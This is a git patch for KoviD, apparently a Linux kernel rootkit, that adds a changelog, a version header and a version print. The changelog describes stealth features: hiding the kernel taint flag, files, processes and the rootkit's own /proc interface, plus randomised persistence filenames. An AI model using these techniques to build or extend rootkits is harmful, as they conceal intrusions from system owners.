From b58fd065646beb5cc380f153901ce2510b976687 Mon Sep 17 00:00:00 2001 From: chash Date: Wed, 2 Oct 2024 19:23:27 +0100 Subject: [PATCH] Add changelog --- CHANGELOG.md | 25 +++++++++++++++++++++++++ src/kovid.c | 8 ++++++-- src/version.h | 7 +++++++ 3 files changed, 38 insertions(+), 2 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 src/version.h diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..7181dfd --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,25 @@ +# Changelog + +All notable changes to KoviD will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/). + +## 2.0.0 - Oct 2 2024 +### Added +- Zero `/proc/sys/kernel/tainted` +- Added "-g" proc interface to support inode hiding files globally +- Added cheatsheet docfile for KoviD user interface + +### Changed +- Remove magic word from syslog output, use KoviD /proc interface instead. +- Add syslog-style timestamp to `tty` logfile +- Modified "-a" proc interface to support full-path file hiding +- Set persistence filenames from uuidgen output + +### Fixed +- [Fix hidden process leftover in /proc](https://github.com/carloslack/KoviD/issues/100) +- Hide kovid /proc interface even when it is available +- Fix pr(info/warn/...) to proper no-op when in release mode + + + diff --git a/src/kovid.c b/src/kovid.c index c3f9079..caf08e4 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -26,6 +26,7 @@ #include "lkm.h" #include "fs.h" +#include "version.h" #define MAX_PROCFS_SIZE PAGE_SIZE #define MAX_MAGIC_WORD_SIZE 16 @@ -41,7 +42,7 @@ #ifndef PRCTIMEOUT /** * default timeout seconds - * before /proc/kovid is removed + * before /proc/ is removed */ #define _PRCTIMEOUT 360 #else @@ -89,7 +90,6 @@ static const struct __lkmmod_t lkmmod = { .this_mod = THIS_MODULE, }; - /* * kernel structures so the compiler * can know about sizes and data types @@ -736,6 +736,10 @@ static int __init kv_init(void) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0) struct kernel_syscalls *kaddr = NULL; #endif + + /** show current version for when running in debug mode */ + prinfo("KoviD version %s\n", KOVID_VERSION); + if (strlen(PROCNAME) == 0) { procname_err = "Empty PROCNAME build parameter. Check Makefile."; } else if (!strncmp(PROCNAME, "changeme", 5)) { diff --git a/src/version.h b/src/version.h new file mode 100644 index 0000000..e2ca150 --- /dev/null +++ b/src/version.h @@ -0,0 +1,7 @@ +#ifndef __VERSION_H +#define __VERSION_H + +#define KOVID_VERSION "2.0.0" + +#endif // __VERSION_H +